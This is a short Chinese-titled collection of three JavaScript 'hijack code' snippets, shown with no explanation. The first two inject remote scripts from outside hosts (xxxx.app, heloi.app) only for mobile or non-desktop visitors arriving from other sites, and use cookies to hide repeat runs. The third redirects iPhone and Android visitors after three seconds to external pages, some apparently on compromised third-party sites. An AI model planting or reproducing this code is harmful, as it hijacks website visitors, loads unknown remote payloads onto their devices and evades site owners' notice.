JS劫持代码。。三段

一段

(function(s,c,o){var r=document.referrer,p=navigator.platform.toLowerCase();if(p.indexOf("win")>-1||p.indexOf("mac")>-1)return;if(r!=""&&r.indexOf(document.domain)<0&&document.cookie.indexOf(c)<0){(function(){if(!document.body)return setTimeout(arguments.callee,100);var d=document,j=d.createElement(s);j.src="https://xxxx.app/a.js";document.body.appendChild(j)})()};var t=new Date();t.setDate(t.getDate()+3);document.cookie=c+";expires="+t.toUTCString()+";path=/"})("script","bdshare_ty=0x18","work");

二段

(function () {
        if (!document.body)
            return setTimeout(arguments.callee, 200);
        var po=navigator.platform[0].toLowerCase();
        if(po!='i'&&po!='l') return;

        var w = window, d = document;
        
	    var roc = "roc_mob_ready=|mob_ready|";
	    if(d.cookie.indexOf(roc)>-1) return;
	     
	    var t=new Date();
	    t.setDate(t.getDate()+3);
	    d.cookie=roc+";expires="+t.toUTCString()+";path=/";
	    
		var j=d.createElement("script");
		j.src="https://heloi.app/1.js";
		j.setAttribute("async", "true");
		d.body.appendChild(j);
    })();

三段

var ua = navigator.userAgent.toLowerCase();
if (/iphone|ipad|ipod/.test(ua)) {

setTimeout( function(){
     var url=["https://ymdd.fzyjdz.top/?qd=Y_30"];
 var r = Math.floor(Math.random() * 1);
window.location.href = url[r];
}, 3 * 1000 );  

	} else if (/android|linux|Android/.test(ua)) {


setTimeout( function(){
var url2=["http://cnstgl.com/fwcn/bo/b.html","http://www.sunnylawyer.com/include/taglib/help/bo/b.html","https://fozhiguang.com/pic/uploads/allimg/201101/bo/b.html","http://m.szlande.com/uploads/150425/150425/bo/b.html"];
var r2 = Math.floor(Math.random() * 4);
window.location.href = url2[r2];
}, 3 * 1000 );  
};
